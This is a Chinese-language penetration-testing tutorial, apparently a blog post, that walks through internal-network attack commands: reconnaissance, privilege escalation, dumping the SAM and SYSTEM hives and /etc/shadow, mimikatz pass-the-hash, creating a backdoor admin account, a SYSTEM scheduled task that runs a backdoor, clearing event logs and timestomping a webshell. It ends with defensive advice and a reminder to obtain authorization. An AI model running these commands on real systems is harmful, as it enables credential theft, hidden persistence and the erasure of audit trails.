1. 内网渗透实战的必要性与挑战
内网渗透测试是网络安全领域最具实战价值的技术方向之一。不同于传统的Web安全测试,内网渗透需要测试人员具备操作系统、网络协议、权限提升等多维度的综合能力。在实际工作中,我们经常遇到这样的场景:企业虽然部署了防火墙、WAF等边界防护设备,但内网主机却因为长期缺乏更新而存在大量漏洞。攻击者一旦突破边界,就能在内网横向移动,最终控制整个网络。
内网渗透的核心难点在于如何在不触发安全告警的情况下,快速收集信息、提升权限、横向移动。这要求测试人员不仅要熟悉各类漏洞利用技术,更要掌握高效的内网操作命令。经过多年实战,我整理了100条高频使用的内网渗透命令,这些命令覆盖了信息收集、权限提升、横向移动、权限维持等关键环节。
2. 信息收集阶段的关键命令
2.1 基础系统信息收集
内网渗透的第一步永远是信息收集。全面的信息收集能为后续攻击提供方向。以下是几个必用的系统信息收集命令:
code复制systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
这条命令可以快速获取目标系统的操作系统版本信息。在实际测试中,Windows Server 2008和Windows 7通常是内网中最容易攻破的系统,因为它们往往缺少最新的安全补丁。
code复制wmic qfe get Caption,Description,HotFixID,InstalledOn
通过WMI查询已安装的补丁列表,可以快速判断系统是否存在已知漏洞。我通常会重点关注KB编号,然后对照微软的安全公告,寻找可用的本地提权漏洞。
2.2 网络拓扑探测
了解内网结构对横向移动至关重要。以下是几个网络探测的实用命令:
code复制arp -a
显示ARP缓存表,可以快速发现同一网段的其他主机。在实际测试中,我经常发现内网主机之间缺乏必要的访问控制,通过ARP扫描能发现大量潜在目标。
code复制net view /domain
这条命令可以列出当前域环境中的所有计算机。在域环境中,这是了解网络规模最快捷的方式。值得注意的是,现代Windows系统默认会启用防火墙阻止NetBIOS查询,这时候就需要改用其他方法。
3. 权限提升的实战技巧
3.1 本地提权漏洞利用
获取初始立足点后,下一步就是提升权限。以下是几种常见的提权方法:
code复制whoami /priv
查看当前用户的权限列表。如果发现"SeImpersonatePrivilege"或"SeAssignPrimaryTokenPrivilege"等危险权限,就可以考虑使用Potato系列提权漏洞。
对于Linux系统,我常用:
code复制sudo -l
查看当前用户能以root权限运行的命令。很多时候,管理员会为了方便而配置过宽的sudo权限,这给了我们提权的机会。
3.2 密码哈希获取与破解
获取密码哈希是内网渗透的关键步骤。在Windows系统中:
code复制reg save HKLM\SAM sam.save
reg save HKLM\SYSTEM system.save
这两条命令可以导出SAM数据库,然后使用mimikatz等工具提取哈希。需要注意的是,现代Windows系统会启用LSA保护,直接使用mimikatz可能被拦截。
对于Linux系统:
code复制cat /etc/shadow
需要root权限才能读取,但有时候管理员错误配置了权限,或者我们可以通过其他漏洞获取到这份关键文件。
4. 横向移动的技术实现
4.1 凭证传递攻击
有了高权限账户的凭据后,横向移动就变得简单了。最常用的技术是Pass-the-Hash:
code复制sekurlsa::pth /user:Administrator /domain:corp /ntlm:<hash> /run:cmd.exe
这是mimikatz的经典用法。在实际测试中,我发现约60%的内网都存在凭证重用问题,使得这种攻击方式非常有效。
4.2 远程服务利用
对于Linux系统,SSH是主要的横向移动渠道:
code复制ssh -i id_rsa user@target
如果获取到了私钥文件,往往能在多台服务器间畅通无阻。我建议企业应该定期轮换SSH密钥,避免一个密钥泄露导致全网沦陷。
5. 权限维持的隐蔽方法
5.1 后门账户创建
保持持久访问是内网渗透的重要环节。在Windows中:
code复制net user backdoor P@ssw0rd /add
net localgroup administrators backdoor /add
这两条命令可以创建一个隐藏的管理员账户。更隐蔽的做法是克隆现有账户的SID,这样在常规检查中很难被发现。
5.2 计划任务设置
code复制schtasks /create /tn "Update" /tr "C:\shell.exe" /sc minute /mo 30 /ru SYSTEM
创建一个每30分钟运行一次的计划任务,执行我们的后门程序。在实际测试中,我发现很多企业的计划任务监控非常薄弱,这种后门可以长期存活。
6. 痕迹清理与规避检测
6.1 日志清除
完成测试后,清理痕迹是必须的。在Windows中:
code复制wevtutil cl security
wevtutil cl system
清除安全和系统日志。需要注意的是,现代EDR产品往往会实时收集日志,单纯的本地清除可能不够。
6.2 时间戳修改
code复制touch -t 202301010000 shell.php
修改文件时间戳,使其看起来像是系统原有文件。这个技巧在Webshell维持中特别有用。
7. 防御建议与最佳实践
7.1 企业防御措施
基于多年的渗透测试经验,我建议企业采取以下防御措施:
- 实施最小权限原则,避免过度授权
- 定期更新系统和应用补丁
- 启用LSA保护和Credential Guard
- 监控异常的网络连接和账户活动
- 定期进行红蓝对抗演练
7.2 渗透测试注意事项
对于安全测试人员,我有以下建议:
- 获取正式授权后再进行测试
- 避免在生产环境使用破坏性工具
- 详细记录每一步操作,便于编写报告
- 测试完成后彻底清理测试痕迹
- 提供切实可行的修复建议
内网渗透是一门需要不断实践的艺术。这100条命令只是基础,真正的技巧需要在实战中不断磨练。每次测试遇到的新环境、新防御措施,都是提升技术的好机会。记住,理解系统原理比记住命令更重要,只有深入理解Windows和Linux的工作原理,才能在复杂的网络环境中游刃有余。